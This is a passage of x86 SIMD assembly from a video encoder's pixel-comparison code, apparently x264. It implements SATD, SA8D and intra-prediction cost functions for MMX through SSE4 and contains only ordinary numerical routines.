call pixel_satd_8x8_internal_mmx2
lea r0, [r0+4*r1]
lea r2, [r2+4*r3]
call pixel_satd_8x8_internal_mmx2
SATD_END_MMX
%endif ; !HIGH_BIT_DEPTH
cglobal pixel_satd_8x8, 4,6
SATD_START_MMX
pxor m0, m0
call pixel_satd_8x8_internal_mmx2
SATD_END_MMX
cglobal pixel_satd_8x4, 4,6
SATD_START_MMX
pxor m0, m0
call pixel_satd_8x4_internal_mmx2
SATD_END_MMX
cglobal pixel_satd_4x16, 4,6
SATD_START_MMX
SATD_4x4_MMX m0, 0, 1
SATD_4x4_MMX m1, 0, 1
paddw m0, m1
SATD_4x4_MMX m1, 0, 1
paddw m0, m1
SATD_4x4_MMX m1, 0, 0
paddw m0, m1
SATD_END_MMX
cglobal pixel_satd_4x8, 4,6
SATD_START_MMX
SATD_4x4_MMX m0, 0, 1
SATD_4x4_MMX m1, 0, 0
paddw m0, m1
SATD_END_MMX
cglobal pixel_satd_4x4, 4,6
SATD_START_MMX
SATD_4x4_MMX m0, 0, 0
SATD_END_MMX
%macro SATD_START_SSE2 2
%if cpuflag(ssse3)
mova %2, [hmul_8p]
%endif
lea r4, [3*r1]
lea r5, [3*r3]
pxor %1, %1
%endmacro
%macro SATD_END_SSE2 1
HADDW %1, m7
movd eax, %1
RET
%endmacro
%macro BACKUP_POINTERS 0
%if ARCH_X86_64
%if WIN64
PUSH r7
%endif
mov r6, r0
mov r7, r2
%endif
%endmacro
%macro RESTORE_AND_INC_POINTERS 0
%if ARCH_X86_64
lea r0, [r6+8]
lea r2, [r7+8]
%if WIN64
POP r7
%endif
%else
mov r0, r0mp
mov r2, r2mp
add r0, 8
add r2, 8
%endif
%endmacro
%macro SATD_4x8_SSE 2
movd m4, [r2]
movd m5, [r2+r3]
movd m6, [r2+2*r3]
add r2, r5
movd m0, [r0]
movd m1, [r0+r1]
movd m2, [r0+2*r1]
add r0, r4
movd m3, [r2+r3]
JDUP m4, m3
movd m3, [r0+r1]
JDUP m0, m3
movd m3, [r2+2*r3]
JDUP m5, m3
movd m3, [r0+2*r1]
JDUP m1, m3
%if cpuflag(ssse3) && %1==1
mova m3, [hmul_4p]
DIFFOP 0, 4, 1, 5, 3
%else
DIFFOP 0, 4, 1, 5, 7
%endif
movd m5, [r2]
add r2, r5
movd m3, [r0]
add r0, r4
movd m4, [r2]
JDUP m6, m4
movd m4, [r0]
JDUP m2, m4
movd m4, [r2+r3]
JDUP m5, m4
movd m4, [r0+r1]
JDUP m3, m4
%if cpuflag(ssse3) && %1==1
mova m4, [hmul_4p]
DIFFOP 2, 6, 3, 5, 4
%else
DIFFOP 2, 6, 3, 5, 7
%endif
SATD_8x4_SSE cpuname, 0, 1, 2, 3, 4, 5, 7, %2
%endmacro
;-----------------------------------------------------------------------------
; int pixel_satd_8x4( uint8_t *, intptr_t, uint8_t *, intptr_t )
;-----------------------------------------------------------------------------
%macro SATDS_SSE2 0
%if cpuflag(ssse3)
cglobal pixel_satd_4x4, 4, 6, 6
SATD_START_MMX
mova m4, [hmul_4p]
LOAD_DUP_2x4P m2, m5, [r2], [r2+r3]
LOAD_DUP_2x4P m3, m5, [r2+2*r3], [r2+r5]
LOAD_DUP_2x4P m0, m5, [r0], [r0+r1]
LOAD_DUP_2x4P m1, m5, [r0+2*r1], [r0+r4]
DIFF_SUMSUB_SSSE3 0, 2, 1, 3, 4
HADAMARD 0, sumsub, 0, 1, 2, 3
HADAMARD 4, sumsub, 0, 1, 2, 3
HADAMARD 1, amax, 0, 1, 2, 3
HADDW m0, m1
movd eax, m0
RET
%endif
cglobal pixel_satd_4x8, 4, 6, 8
SATD_START_MMX
%if cpuflag(ssse3)
mova m7, [hmul_4p]
%endif
SATD_4x8_SSE 0, swap
HADDW m7, m1
movd eax, m7
RET
cglobal pixel_satd_4x16, 4, 6, 8
SATD_START_MMX
%if cpuflag(ssse3)
mova m7, [hmul_4p]
%endif
SATD_4x8_SSE 0, swap
lea r0, [r0+r1*2]
lea r2, [r2+r3*2]
SATD_4x8_SSE 1, add
HADDW m7, m1
movd eax, m7
RET
cglobal pixel_satd_8x8_internal
LOAD_SUMSUB_8x4P 0, 1, 2, 3, 4, 5, 7, r0, r2, 1
SATD_8x4_SSE cpuname, 0, 1, 2, 3, 4, 5, 6
%%pixel_satd_8x4_internal:
LOAD_SUMSUB_8x4P 0, 1, 2, 3, 4, 5, 7, r0, r2, 1
SATD_8x4_SSE cpuname, 0, 1, 2, 3, 4, 5, 6
ret
%if UNIX64 ; 16x8 regresses on phenom win64, 16x16 is almost the same
cglobal pixel_satd_16x4_internal
LOAD_SUMSUB_16x4P 0, 1, 2, 3, 4, 8, 5, 9, 6, 7, r0, r2, 11
lea r2, [r2+4*r3]
lea r0, [r0+4*r1]
; FIXME: this doesn't really mean ssse3, but rather selects between two different behaviors implemented with sse2?
SATD_8x4_SSE ssse3, 0, 1, 2, 3, 6, 11, 10
SATD_8x4_SSE ssse3, 4, 8, 5, 9, 6, 3, 10
ret
cglobal pixel_satd_16x8, 4,6,12
SATD_START_SSE2 m10, m7
%if notcpuflag(ssse3)
mova m7, [pw_00ff]
%endif
jmp %%pixel_satd_16x8_internal
cglobal pixel_satd_16x16, 4,6,12
SATD_START_SSE2 m10, m7
%if notcpuflag(ssse3)
mova m7, [pw_00ff]
%endif
call pixel_satd_16x4_internal
call pixel_satd_16x4_internal
%%pixel_satd_16x8_internal:
call pixel_satd_16x4_internal
call pixel_satd_16x4_internal
SATD_END_SSE2 m10
%else
cglobal pixel_satd_16x8, 4,6,8
SATD_START_SSE2 m6, m7
BACKUP_POINTERS
call pixel_satd_8x8_internal
RESTORE_AND_INC_POINTERS
call pixel_satd_8x8_internal
SATD_END_SSE2 m6
cglobal pixel_satd_16x16, 4,6,8
SATD_START_SSE2 m6, m7
BACKUP_POINTERS
call pixel_satd_8x8_internal
call pixel_satd_8x8_internal
RESTORE_AND_INC_POINTERS
call pixel_satd_8x8_internal
call pixel_satd_8x8_internal
SATD_END_SSE2 m6
%endif
cglobal pixel_satd_8x16, 4,6,8
SATD_START_SSE2 m6, m7
call pixel_satd_8x8_internal
call pixel_satd_8x8_internal
SATD_END_SSE2 m6
cglobal pixel_satd_8x8, 4,6,8
SATD_START_SSE2 m6, m7
call pixel_satd_8x8_internal
SATD_END_SSE2 m6
cglobal pixel_satd_8x4, 4,6,8
SATD_START_SSE2 m6, m7
call %%pixel_satd_8x4_internal
SATD_END_SSE2 m6
%endmacro ; SATDS_SSE2
%macro SA8D_INTER 0
%if ARCH_X86_64
%define lh m10
%define rh m0
%else
%define lh m0
%define rh [esp+48]
%endif
%if HIGH_BIT_DEPTH
HADDUW m0, m1
paddd lh, rh
%else
paddusw lh, rh
%endif ; HIGH_BIT_DEPTH
%endmacro
%macro SA8D 0
%if HIGH_BIT_DEPTH
%define vertical 1
%else ; sse2 doesn't seem to like the horizontal way of doing things
%define vertical (cpuflags == cpuflags_sse2)
%endif
%if ARCH_X86_64
;-----------------------------------------------------------------------------
; int pixel_sa8d_8x8( uint8_t *, intptr_t, uint8_t *, intptr_t )
;-----------------------------------------------------------------------------
cglobal pixel_sa8d_8x8_internal
lea r6, [r0+4*r1]
lea r7, [r2+4*r3]
LOAD_SUMSUB_8x4P 0, 1, 2, 8, 5, 6, 7, r0, r2
LOAD_SUMSUB_8x4P 4, 5, 3, 9, 11, 6, 7, r6, r7
%if vertical
HADAMARD8_2D 0, 1, 2, 8, 4, 5, 3, 9, 6, amax
%else ; non-sse2
HADAMARD8_2D_HMUL 0, 1, 2, 8, 4, 5, 3, 9, 6, 11
%endif
paddw m0, m1
paddw m0, m2
paddw m0, m8
SAVE_MM_PERMUTATION
ret
cglobal pixel_sa8d_8x8, 4,8,12
FIX_STRIDES r1, r3
lea r4, [3*r1]
lea r5, [3*r3]
%if vertical == 0
mova m7, [hmul_8p]
%endif
call pixel_sa8d_8x8_internal
%if HIGH_BIT_DEPTH
HADDUW m0, m1
%else
HADDW m0, m1
%endif ; HIGH_BIT_DEPTH
movd eax, m0
add eax, 1
shr eax, 1
RET
cglobal pixel_sa8d_16x16, 4,8,12
FIX_STRIDES r1, r3
lea r4, [3*r1]
lea r5, [3*r3]
%if vertical == 0
mova m7, [hmul_8p]
%endif
call pixel_sa8d_8x8_internal ; pix[0]
add r2, 8*SIZEOF_PIXEL
add r0, 8*SIZEOF_PIXEL
%if HIGH_BIT_DEPTH
HADDUW m0, m1
%endif
mova m10, m0
call pixel_sa8d_8x8_internal ; pix[8]
lea r2, [r2+8*r3]
lea r0, [r0+8*r1]
SA8D_INTER
call pixel_sa8d_8x8_internal ; pix[8*stride+8]
sub r2, 8*SIZEOF_PIXEL
sub r0, 8*SIZEOF_PIXEL
SA8D_INTER
call pixel_sa8d_8x8_internal ; pix[8*stride]
SA8D_INTER
SWAP 0, 10
%if HIGH_BIT_DEPTH == 0
HADDUW m0, m1
%endif
movd eax, m0
add eax, 1
shr eax, 1
RET
%else ; ARCH_X86_32
%if mmsize == 16
cglobal pixel_sa8d_8x8_internal
%define spill0 [esp+4]
%define spill1 [esp+20]
%define spill2 [esp+36]
%if vertical
LOAD_DIFF_8x4P 0, 1, 2, 3, 4, 5, 6, r0, r2, 1
HADAMARD4_2D 0, 1, 2, 3, 4
movdqa spill0, m3
LOAD_DIFF_8x4P 4, 5, 6, 7, 3, 3, 2, r0, r2, 1
HADAMARD4_2D 4, 5, 6, 7, 3
HADAMARD2_2D 0, 4, 1, 5, 3, qdq, amax
movdqa m3, spill0
paddw m0, m1
HADAMARD2_2D 2, 6, 3, 7, 5, qdq, amax
%else ; mmsize == 8
mova m7, [hmul_8p]
LOAD_SUMSUB_8x4P 0, 1, 2, 3, 5, 6, 7, r0, r2, 1
; could do first HADAMARD4_V here to save spilling later
; surprisingly, not a win on conroe or even p4
mova spill0, m2
mova spill1, m3
mova spill2, m1
SWAP 1, 7
LOAD_SUMSUB_8x4P 4, 5, 6, 7, 2, 3, 1, r0, r2, 1
HADAMARD4_V 4, 5, 6, 7, 3
mova m1, spill2
mova m2, spill0
mova m3, spill1
mova spill0, m6
mova spill1, m7
HADAMARD4_V 0, 1, 2, 3, 7
SUMSUB_BADC w, 0, 4, 1, 5, 7
HADAMARD 2, sumsub, 0, 4, 7, 6
HADAMARD 2, sumsub, 1, 5, 7, 6
HADAMARD 1, amax, 0, 4, 7, 6
HADAMARD 1, amax, 1, 5, 7, 6
mova m6, spill0
mova m7, spill1
paddw m0, m1
SUMSUB_BADC w, 2, 6, 3, 7, 4
HADAMARD 2, sumsub, 2, 6, 4, 5
HADAMARD 2, sumsub, 3, 7, 4, 5
HADAMARD 1, amax, 2, 6, 4, 5
HADAMARD 1, amax, 3, 7, 4, 5
%endif ; sse2/non-sse2
paddw m0, m2
paddw m0, m3
SAVE_MM_PERMUTATION
ret
%endif ; ifndef mmx2
cglobal pixel_sa8d_8x8, 4,7
FIX_STRIDES r1, r3
mov r6, esp
and esp, ~15
sub esp, 48
lea r4, [3*r1]
lea r5, [3*r3]
call pixel_sa8d_8x8_internal
%if HIGH_BIT_DEPTH
HADDUW m0, m1
%else
HADDW m0, m1
%endif ; HIGH_BIT_DEPTH
movd eax, m0
add eax, 1
shr eax, 1
mov esp, r6
RET
cglobal pixel_sa8d_16x16, 4,7
FIX_STRIDES r1, r3
mov r6, esp
and esp, ~15
sub esp, 64
lea r4, [3*r1]
lea r5, [3*r3]
call pixel_sa8d_8x8_internal
%if mmsize == 8
lea r0, [r0+4*r1]
lea r2, [r2+4*r3]
%endif
%if HIGH_BIT_DEPTH
HADDUW m0, m1
%endif
mova [esp+48], m0
call pixel_sa8d_8x8_internal
mov r0, [r6+20]
mov r2, [r6+28]
add r0, 8*SIZEOF_PIXEL
add r2, 8*SIZEOF_PIXEL
SA8D_INTER
mova [esp+48], m0
call pixel_sa8d_8x8_internal
%if mmsize == 8
lea r0, [r0+4*r1]
lea r2, [r2+4*r3]
%else
SA8D_INTER
%endif
mova [esp+64-mmsize], m0
call pixel_sa8d_8x8_internal
%if HIGH_BIT_DEPTH
SA8D_INTER
%else ; !HIGH_BIT_DEPTH
paddusw m0, [esp+64-mmsize]
%if mmsize == 16
HADDUW m0, m1
%else
mova m2, [esp+48]
pxor m7, m7
mova m1, m0
mova m3, m2
punpcklwd m0, m7
punpckhwd m1, m7
punpcklwd m2, m7
punpckhwd m3, m7
paddd m0, m1
paddd m2, m3
paddd m0, m2
HADDD m0, m1
%endif
%endif ; HIGH_BIT_DEPTH
movd eax, m0
add eax, 1
shr eax, 1
mov esp, r6
RET
%endif ; !ARCH_X86_64
%endmacro ; SA8D
;=============================================================================
; INTRA SATD
;=============================================================================
%macro HSUMSUB2 8
pshufd %4, %2, %7
pshufd %5, %3, %7
%1 %2, %8
%1 %6, %8
paddw %2, %4
paddw %3, %5
%endmacro
; intra_sa8d_x3_8x8 and intra_satd_x3_4x4 are obsoleted by x9 on ssse3+,
; and are only retained for old cpus.
%macro INTRA_SA8D_SSE2 0
%if ARCH_X86_64
;-----------------------------------------------------------------------------
; void intra_sa8d_x3_8x8( uint8_t *fenc, uint8_t edge[36], int *res )
;-----------------------------------------------------------------------------
cglobal intra_sa8d_x3_8x8, 3,3,14
; 8x8 hadamard
pxor m8, m8
movq m0, [r0+0*FENC_STRIDE]
movq m1, [r0+1*FENC_STRIDE]
movq m2, [r0+2*FENC_STRIDE]
movq m3, [r0+3*FENC_STRIDE]
movq m4, [r0+4*FENC_STRIDE]
movq m5, [r0+5*FENC_STRIDE]
movq m6, [r0+6*FENC_STRIDE]
movq m7, [r0+7*FENC_STRIDE]
punpcklbw m0, m8
punpcklbw m1, m8
punpcklbw m2, m8
punpcklbw m3, m8
punpcklbw m4, m8
punpcklbw m5, m8
punpcklbw m6, m8
punpcklbw m7, m8
HADAMARD8_2D 0, 1, 2, 3, 4, 5, 6, 7, 8
ABSW2 m8, m9, m2, m3, m2, m3
ABSW2 m10, m11, m4, m5, m4, m5
paddusw m8, m10
paddusw m9, m11
ABSW2 m10, m11, m6, m7, m6, m7
ABSW m13, m1, m1
paddusw m10, m11
paddusw m8, m9
paddusw m13, m10
paddusw m13, m8
; 1D hadamard of edges
movq m8, [r1+7]
movq m9, [r1+16]
pxor m10, m10
punpcklbw m8, m10
punpcklbw m9, m10
HSUMSUB2 pmullw, m8, m9, m10, m11, m11, q1032, [pw_ppppmmmm]
HSUMSUB2 pmullw, m8, m9, m10, m11, m11, q2301, [pw_ppmmppmm]
pshuflw m10, m8, q2301
pshuflw m11, m9, q2301
pshufhw m10, m10, q2301
pshufhw m11, m11, q2301
pmullw m8, [pw_pmpmpmpm]
pmullw m11, [pw_pmpmpmpm]
paddw m8, m10
paddw m9, m11
; differences
paddw m10, m8, m9
paddw m10, [pw_8]
pand m10, [sw_f0]
psllw m10, 2 ; dc
psllw m8, 3 ; left edge
psubw m8, m0
psubw m10, m0
ABSW2 m8, m10, m8, m10, m11, m12 ; 1x8 sum
paddusw m8, m13
paddusw m13, m10
punpcklwd m0, m1
punpcklwd m2, m3
punpcklwd m4, m5
punpcklwd m6, m7
punpckldq m0, m2
punpckldq m4, m6
punpcklqdq m0, m4 ; transpose
psllw m9, 3 ; top edge
psrldq m2, m13, 2 ; 8x7 sum
psubw m0, m9 ; 8x1 sum
ABSW m0, m0, m9
paddusw m2, m0
; 3x HADDW
movdqa m7, [pw_1]
pmaddwd m2, m7
pmaddwd m8, m7
pmaddwd m13, m7
punpckhdq m3, m2, m8
punpckldq m2, m8
pshufd m5, m13, q3311
paddd m2, m3
paddd m5, m13
punpckhqdq m0, m2, m5
punpcklqdq m2, m5
pavgw m0, m2
pxor m1, m1
pavgw m0, m1
movq [r2], m0 ; i8x8_v, i8x8_h
psrldq m0, 8
movd [r2+8], m0 ; i8x8_dc
RET
%endif ; ARCH_X86_64
%endmacro ; INTRA_SA8D_SSE2
; in: r0 = fenc
; out: m0..m3 = hadamard coefs
INIT_MMX
cglobal hadamard_load
; not really a global, but otherwise cycles get attributed to the wrong function in profiling
%if HIGH_BIT_DEPTH
mova m0, [r0+0*FENC_STRIDEB]
mova m1, [r0+1*FENC_STRIDEB]
mova m2, [r0+2*FENC_STRIDEB]
mova m3, [r0+3*FENC_STRIDEB]
%else
pxor m7, m7
movd m0, [r0+0*FENC_STRIDE]
movd m1, [r0+1*FENC_STRIDE]
movd m2, [r0+2*FENC_STRIDE]
movd m3, [r0+3*FENC_STRIDE]
punpcklbw m0, m7
punpcklbw m1, m7
punpcklbw m2, m7
punpcklbw m3, m7
%endif
HADAMARD4_2D 0, 1, 2, 3, 4
SAVE_MM_PERMUTATION
ret
%macro SCALAR_HADAMARD 4-5 ; direction, offset, 3x tmp
%ifidn %1, top
%if HIGH_BIT_DEPTH
mova %3, [r1+%2*SIZEOF_PIXEL-FDEC_STRIDEB]
%else
movd %3, [r1+%2*SIZEOF_PIXEL-FDEC_STRIDEB]
pxor %5, %5
punpcklbw %3, %5
%endif
%else ; left
%ifnidn %2, 0
shl %2d, 5 ; log(FDEC_STRIDEB)
%endif
movd %3, [r1+%2*SIZEOF_PIXEL-4+1*FDEC_STRIDEB]
pinsrw %3, [r1+%2*SIZEOF_PIXEL-2+0*FDEC_STRIDEB], 0
pinsrw %3, [r1+%2*SIZEOF_PIXEL-2+2*FDEC_STRIDEB], 2
pinsrw %3, [r1+%2*SIZEOF_PIXEL-2+3*FDEC_STRIDEB], 3
%if HIGH_BIT_DEPTH == 0
psrlw %3, 8
%endif
%ifnidn %2, 0
shr %2d, 5
%endif
%endif ; direction
%if cpuflag(ssse3)
%define %%sign psignw
%else
%define %%sign pmullw
%endif
pshufw %4, %3, q1032
%%sign %4, [pw_ppmmppmm]
paddw %3, %4
pshufw %4, %3, q2301
%%sign %4, [pw_pmpmpmpm]
paddw %3, %4
psllw %3, 2
mova [%1_1d+2*%2], %3
%endmacro
%macro SUM_MM_X3 8 ; 3x sum, 4x tmp, op
pxor %7, %7
pshufw %4, %1, q1032
pshufw %5, %2, q1032
pshufw %6, %3, q1032
paddw %1, %4
paddw %2, %5
paddw %3, %6
punpcklwd %1, %7
punpcklwd %2, %7
punpcklwd %3, %7
pshufw %4, %1, q1032
pshufw %5, %2, q1032
pshufw %6, %3, q1032
%8 %1, %4
%8 %2, %5
%8 %3, %6
%endmacro
; in: m1..m3
; out: m7
; clobber: m4..m6
%macro SUM3x4 0
ABSW2 m4, m5, m1, m2, m1, m2
ABSW m7, m3, m3
paddw m4, m5
paddw m7, m4
%endmacro
; in: m0..m3 (4x4)
; out: m0 v, m4 h, m5 dc
; clobber: m1..m3
%macro SUM4x3 3 ; dc, left, top
movq m4, %2
%ifid %1
movq m5, %1
%else
movd m5, %1
%endif
psubw m4, m0
psubw m5, m0
punpcklwd m0, m1
punpcklwd m2, m3
punpckldq m0, m2 ; transpose
psubw m0, %3
ABSW2 m4, m5, m4, m5, m2, m3 ; 1x4 sum
ABSW m0, m0, m1 ; 4x1 sum
%endmacro
%macro INTRA_X3_MMX 0
;-----------------------------------------------------------------------------
; void intra_satd_x3_4x4( uint8_t *fenc, uint8_t *fdec, int *res )
;-----------------------------------------------------------------------------
cglobal intra_satd_x3_4x4, 3,3
%if ARCH_X86_64
; stack is 16 byte aligned because abi says so
%define top_1d rsp-8 ; size 8
%define left_1d rsp-16 ; size 8
%else
; stack is 16 byte aligned at least in gcc, and we've pushed 3 regs + return address, so it's still aligned
SUB esp, 16
%define top_1d esp+8
%define left_1d esp
%endif
call hadamard_load
SCALAR_HADAMARD left, 0, m4, m5
SCALAR_HADAMARD top, 0, m6, m5, m7
paddw m6, m4
pavgw m6, [pw_16]
pand m6, [sw_f0] ; dc
SUM3x4
SUM4x3 m6, [left_1d], [top_1d]
paddw m4, m7
paddw m5, m7
movq m1, m5
psrlq m1, 16 ; 4x3 sum
paddw m0, m1
SUM_MM_X3 m0, m4, m5, m1, m2, m3, m6, pavgw
movd [r2+0], m0 ; i4x4_v satd
movd [r2+4], m4 ; i4x4_h satd
movd [r2+8], m5 ; i4x4_dc satd
%if ARCH_X86_64 == 0
ADD esp, 16
%endif
RET
;-----------------------------------------------------------------------------
; void intra_satd_x3_16x16( uint8_t *fenc, uint8_t *fdec, int *res )
;-----------------------------------------------------------------------------
cglobal intra_satd_x3_16x16, 0,5
%assign stack_pad 120 + ((stack_offset+120+gprsize)&15)
; not really needed on x86_64, just shuts up valgrind about storing data below the stack across a function call
SUB rsp, stack_pad
%define sums rsp+64 ; size 56
%define top_1d rsp+32 ; size 32
%define left_1d rsp ; size 32
movifnidn r1, r1mp
pxor m7, m7
mova [sums+ 0], m7
mova [sums+ 8], m7
mova [sums+16], m7
%if HIGH_BIT_DEPTH
mova [sums+24], m7
mova [sums+32], m7
mova [sums+40], m7
mova [sums+48], m7
%endif
; 1D hadamards
mov r3d, 12
movd m6, [pw_32]
.loop_edge:
SCALAR_HADAMARD left, r3, m0, m1
SCALAR_HADAMARD top, r3, m1, m2, m3
pavgw m0, m1
paddw m6, m0
sub r3d, 4
jge .loop_edge
psrlw m6, 2
pand m6, [sw_f0] ; dc
; 2D hadamards
movifnidn r0, r0mp
mov r3, -4
.loop_y:
mov r4, -4
.loop_x:
call hadamard_load
SUM3x4
SUM4x3 m6, [left_1d+8*(r3+4)], [top_1d+8*(r4+4)]
pavgw m4, m7
pavgw m5, m7
paddw m0, [sums+ 0] ; i16x16_v satd
paddw m4, [sums+ 8] ; i16x16_h satd
paddw m5, [sums+16] ; i16x16_dc satd
mova [sums+ 0], m0
mova [sums+ 8], m4
mova [sums+16], m5
add r0, 4*SIZEOF_PIXEL
inc r4
jl .loop_x
%if HIGH_BIT_DEPTH
psrld m7, m4, 16
pslld m4, 16
psrld m4, 16
paddd m4, m7
psrld m7, m0, 16
pslld m0, 16
psrld m0, 16
paddd m0, m7
paddd m4, [sums+32]
paddd m0, [sums+24]
mova [sums+32], m4
mova [sums+24], m0
pxor m7, m7
punpckhwd m3, m5, m7
punpcklwd m5, m7
paddd m3, [sums+48]
paddd m5, [sums+40]
mova [sums+48], m3
mova [sums+40], m5
mova [sums+ 0], m7
mova [sums+ 8], m7
mova [sums+16], m7
%endif
add r0, 4*FENC_STRIDEB-16*SIZEOF_PIXEL
inc r3
jl .loop_y
; horizontal sum
movifnidn r2, r2mp
%if HIGH_BIT_DEPTH
mova m1, m5
paddd m5, m3
HADDD m5, m7 ; DC satd
HADDD m4, m7 ; H satd
HADDD m0, m7 ; the part of V satd that doesn't overlap with DC
psrld m0, 1
psrlq m1, 32 ; DC[1]
paddd m0, m3 ; DC[2]
psrlq m3, 32 ; DC[3]
paddd m0, m1
paddd m0, m3
%else
mova m7, m5
SUM_MM_X3 m0, m4, m5, m3, m1, m2, m6, paddd
psrld m0, 1
pslld m7, 16
psrld m7, 16
paddd m0, m5
psubd m0, m7
%endif
movd [r2+8], m5 ; i16x16_dc satd
movd [r2+4], m4 ; i16x16_h satd
movd [r2+0], m0 ; i16x16_v satd
ADD rsp, stack_pad
RET
%if ARCH_X86_64
%define t0 r6
%else
%define t0 r2
%endif
;-----------------------------------------------------------------------------
; void intra_satd_x3_8x8c( uint8_t *fenc, uint8_t *fdec, int *res )
;-----------------------------------------------------------------------------
cglobal intra_satd_x3_8x8c, 0,6
; not really needed on x86_64, just shuts up valgrind about storing data below the stack across a function call
SUB rsp, 72
%define sums rsp+48 ; size 24
%define dc_1d rsp+32 ; size 16
%define top_1d rsp+16 ; size 16
%define left_1d rsp ; size 16
movifnidn r1, r1mp
pxor m7, m7
mova [sums+ 0], m7
mova [sums+ 8], m7
mova [sums+16], m7
; 1D hadamards
mov r3d, 4
.loop_edge:
SCALAR_HADAMARD left, r3, m0, m1
SCALAR_HADAMARD top, r3, m0, m1, m2
sub r3d, 4
jge .loop_edge
; dc
movzx t0d, word [left_1d+0]
movzx r3d, word [top_1d+0]
movzx r4d, word [left_1d+8]
movzx r5d, word [top_1d+8]
lea t0d, [t0 + r3 + 16]
lea r3d, [r4 + r5 + 16]
shr t0d, 1
shr r3d, 1
add r4d, 8
add r5d, 8
and t0d, -16 ; tl
and r3d, -16 ; br
and r4d, -16 ; bl
and r5d, -16 ; tr
mov [dc_1d+ 0], t0d ; tl
mov [dc_1d+ 4], r5d ; tr
mov [dc_1d+ 8], r4d ; bl
mov [dc_1d+12], r3d ; br
lea r5, [dc_1d]
; 2D hadamards
movifnidn r0, r0mp
movifnidn r2, r2mp
mov r3, -2
.loop_y:
mov r4, -2
.loop_x:
call hadamard_load
SUM3x4
SUM4x3 [r5+4*(r4+2)], [left_1d+8*(r3+2)], [top_1d+8*(r4+2)]
pavgw m4, m7
pavgw m5, m7
paddw m0, [sums+16] ; i4x4_v satd
paddw m4, [sums+8] ; i4x4_h satd
paddw m5, [sums+0] ; i4x4_dc satd
movq [sums+16], m0
movq [sums+8], m4
movq [sums+0], m5
add r0, 4*SIZEOF_PIXEL
inc r4
jl .loop_x
add r0, 4*FENC_STRIDEB-8*SIZEOF_PIXEL
add r5, 8
inc r3
jl .loop_y
; horizontal sum
movq m0, [sums+0]
movq m1, [sums+8]
movq m2, [sums+16]
movq m7, m0
%if HIGH_BIT_DEPTH
psrlq m7, 16
HADDW m7, m3
SUM_MM_X3 m0, m1, m2, m3, m4, m5, m6, paddd
psrld m2, 1
paddd m2, m7
%else
psrlq m7, 15
paddw m2, m7
SUM_MM_X3 m0, m1, m2, m3, m4, m5, m6, paddd
psrld m2, 1
%endif
movd [r2+0], m0 ; i8x8c_dc satd
movd [r2+4], m1 ; i8x8c_h satd
movd [r2+8], m2 ; i8x8c_v satd
ADD rsp, 72
RET
%endmacro ; INTRA_X3_MMX
%macro PRED4x4_LOWPASS 5
%ifid %5
pavgb %5, %2, %3
pxor %3, %2
pand %3, [pb_1]
psubusb %5, %3
pavgb %1, %4, %5
%else
mova %5, %2
pavgb %2, %3
pxor %3, %5
pand %3, [pb_1]
psubusb %2, %3
pavgb %1, %4, %2
%endif
%endmacro
%macro INTRA_X9_PRED 2
%if cpuflag(sse4)
movu m1, [r1-1*FDEC_STRIDE-8]
pinsrb m1, [r1+3*FDEC_STRIDE-1], 0
pinsrb m1, [r1+2*FDEC_STRIDE-1], 1
pinsrb m1, [r1+1*FDEC_STRIDE-1], 2
pinsrb m1, [r1+0*FDEC_STRIDE-1], 3
%else
movd mm0, [r1+3*FDEC_STRIDE-4]
punpcklbw mm0, [r1+2*FDEC_STRIDE-4]
movd mm1, [r1+1*FDEC_STRIDE-4]
punpcklbw mm1, [r1+0*FDEC_STRIDE-4]
punpckhwd mm0, mm1
psrlq mm0, 32
movq2dq m0, mm0
movu m1, [r1-1*FDEC_STRIDE-8]
movss m1, m0 ; l3 l2 l1 l0 __ __ __ lt t0 t1 t2 t3 t4 t5 t6 t7
%endif ; cpuflag
pshufb m1, [intrax9_edge] ; l3 l3 l2 l1 l0 lt t0 t1 t2 t3 t4 t5 t6 t7 t7 __
psrldq m0, m1, 1 ; l3 l2 l1 l0 lt t0 t1 t2 t3 t4 t5 t6 t7 t7 __ __
psrldq m2, m1, 2 ; l2 l1 l0 lt t0 t1 t2 t3 t4 t5 t6 t7 t7 __ __ __
pavgb m5, m0, m1 ; Gl3 Gl2 Gl1 Gl0 Glt Gt0 Gt1 Gt2 Gt3 Gt4 Gt5 __ __ __ __ __
mova %2, m1
PRED4x4_LOWPASS m0, m1, m2, m0, m4 ; Fl3 Fl2 Fl1 Fl0 Flt Ft0 Ft1 Ft2 Ft3 Ft4 Ft5 Ft6 Ft7 __ __ __
; ddl ddr
; Ft1 Ft2 Ft3 Ft4 Flt Ft0 Ft1 Ft2
; Ft2 Ft3 Ft4 Ft5 Fl0 Flt Ft0 Ft1
; Ft3 Ft4 Ft5 Ft6 Fl1 Fl0 Flt Ft0
; Ft4 Ft5 Ft6 Ft7 Fl2 Fl1 Fl0 Flt
pshufb m2, m0, [%1_ddlr1] ; a: ddl row0, ddl row1, ddr row0, ddr row1 / b: ddl row0, ddr row0, ddl row1, ddr row1
pshufb m3, m0, [%1_ddlr2] ; rows 2,3
; hd hu
; Glt Flt Ft0 Ft1 Gl0 Fl1 Gl1 Fl2
; Gl0 Fl0 Glt Flt Gl1 Fl2 Gl2 Fl3
; Gl1 Fl1 Gl0 Fl0 Gl2 Fl3 Gl3 Gl3
; Gl2 Fl2 Gl1 Fl1 Gl3 Gl3 Gl3 Gl3
pslldq m0, 5 ; ___ ___ ___ ___ ___ Fl3 Fl2 Fl1 Fl0 Flt Ft0 Ft1 Ft2 Ft3 Ft4 Ft5
palignr m7, m5, m0, 5 ; Fl3 Fl2 Fl1 Fl0 Flt Ft0 Ft1 Ft2 Ft3 Ft4 Ft5 Gl3 Gl2 Gl1 Gl0 Glt
pshufb m6, m7, [%1_hdu1]
pshufb m7, m7, [%1_hdu2]
; vr vl
; Gt0 Gt1 Gt2 Gt3 Gt1 Gt2 Gt3 Gt4
; Flt Ft0 Ft1 Ft2 Ft1 Ft2 Ft3 Ft4
; Fl0 Gt0 Gt1 Gt2 Gt2 Gt3 Gt4 Gt5
; Fl1 Flt Ft0 Ft1 Ft2 Ft3 Ft4 Ft5
psrldq m5, 5 ; Gt0 Gt1 Gt2 Gt3 Gt4 Gt5 ...
palignr m5, m0, 6 ; ___ Fl1 Fl0 Flt Ft0 Ft1 Ft2 Ft3 Ft4 Ft5 Gt0 Gt1 Gt2 Gt3 Gt4 Gt5
pshufb m4, m5, [%1_vrl1]
pshufb m5, m5, [%1_vrl2]
%endmacro ; INTRA_X9_PRED
%macro INTRA_X9_VHDC 5 ; edge, fenc01, fenc23, tmp, tmp
pshufb m2, m%1, [intrax9b_vh1]
pshufb m3, m%1, [intrax9b_vh2]
mova [pred_buf+0x60], m2
mova [pred_buf+0x70], m3
